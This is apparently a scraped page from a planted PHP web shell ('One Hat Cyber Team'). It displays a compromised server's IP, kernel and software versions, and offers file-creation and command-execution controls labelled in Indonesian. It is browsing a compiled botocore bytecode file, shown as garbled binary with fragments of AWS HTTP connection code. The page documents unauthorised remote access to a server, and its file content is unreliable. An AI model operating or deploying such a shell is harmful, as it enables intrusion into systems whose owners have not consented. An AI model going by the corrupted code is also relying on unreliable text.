⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
awsrequest.cpython-312.pyc
PetZ d dl Z d dlZd dlmZ d dlZd dlmZmZ d dl m Z mZ d dlZ d dlmZmZmZmZmZmZmZ d dlmZ ej0 e Z G d de Z G d d Z G d dee Z G d dee Z G d de Z G d de Z d"dZ!d Z"d Z# G d d Z$ G d d Z% G d d Z& G d d Z' G d d Z( G d d!e Z)y)# N)Mapping)HTTPConnectionVerifiedHTTPSConnection)HTTPConnectionPoolHTTPSConnectionPool)HTTPHeadersHTTPResponseMutableMapping urlencodeurlparseurlsplit urlunsplit)UnseekableStreamErrorc e Zd Zd Zd Zy)AWSHTTPResponsec b |j d | _ t j | g|i | y )Nstatus_tuple)pop _status_tupler __init__selfargskwargss 5/usr/lib/python3/dist-packages/botocore/awsrequest.pyr zAWSHTTPResponse.__init__( s+ #ZZ7d4T4V4 c n | j | j }d | _ |S t j | S N)r r _read_status)r r s r r zAWSHTTPResponse._read_status, s8 )--L!%D,,T22r N)__name__ __module____qualname__r r r r r r % s 53r r c h e Zd ZdZ fdZ fdZd fd Zd Zd dZd Z d Z d Z fd Zd Z xZS ) AWSConnectiona Mixin for HTTPConnection that supports Expect 100-continue. This when mixed with a subclass of httplib.HTTPConnection (though technically we subclass from urllib3, which subclasses httplib.HTTPConnection) and we only override this class to support Expect 100-continue, which we need for S3. As far as I can tell, this is general purpose enough to not be specific to S3, but I'm being tentative and keeping it in botocore because I've only tested this against AWS services. c p t | |i | | j | _ d| _ d| _ d| _ y NF)superr response_class_original_response_cls_response_received_expect_header_set_send_called)r r r __class__s r r zAWSConnection.__init__B s= $)&)&*&9&9# #("'!r c n t | d| _ d| _ d| _ | j | _ y r' )r( closer+ r, r- r* r) )r r. s r r0 zAWSConnection.closeO s2 "'"'!"99r c |i }d| _ |j dd dk( rd| _ nd| _ | j | _ t | ||||g|i |}d| _ |S )NFExpectr s 100-continueT)r+ getr, r* r) r( request) r methodurlbodyheadersr r rvalr. s r r4 zAWSConnection.requestW sq ?G"';;x%8&*D#&+D#"&"="=DwvsD'KDKFK"'r c g }|D ]D }t |t r!|j |j d 4|j | F dj | }|S )Nutf-8 ) isinstancestrappendencodejoin)r mixed_bufferbytes_bufferchunkmsgs r _convert_to_byteszAWSConnection._convert_to_bytesd sW !E%%##ELL$9:##E* " ll<( r c | j j d | j | j }| j d d = t |t r||z }d }| j | | j rft j d t j j | j d r| j | y t j d || j | y y )N)r r z"Waiting for 100 Continue response. zCNo response seen from server, continuing to send the response body.)_bufferextendrF r= bytessendr, loggerdebugurllib3util wait_for_readsock_handle_expect_response)r message_bodyr r rE s r _send_outputzAWSConnection._send_outputq s J'$$T\\2LLO lE*<CL #"" LL=>||))$))Q7,,\: . # IIl# $r c @ d }|dk7 r|j }|dk7 ry y )Nr<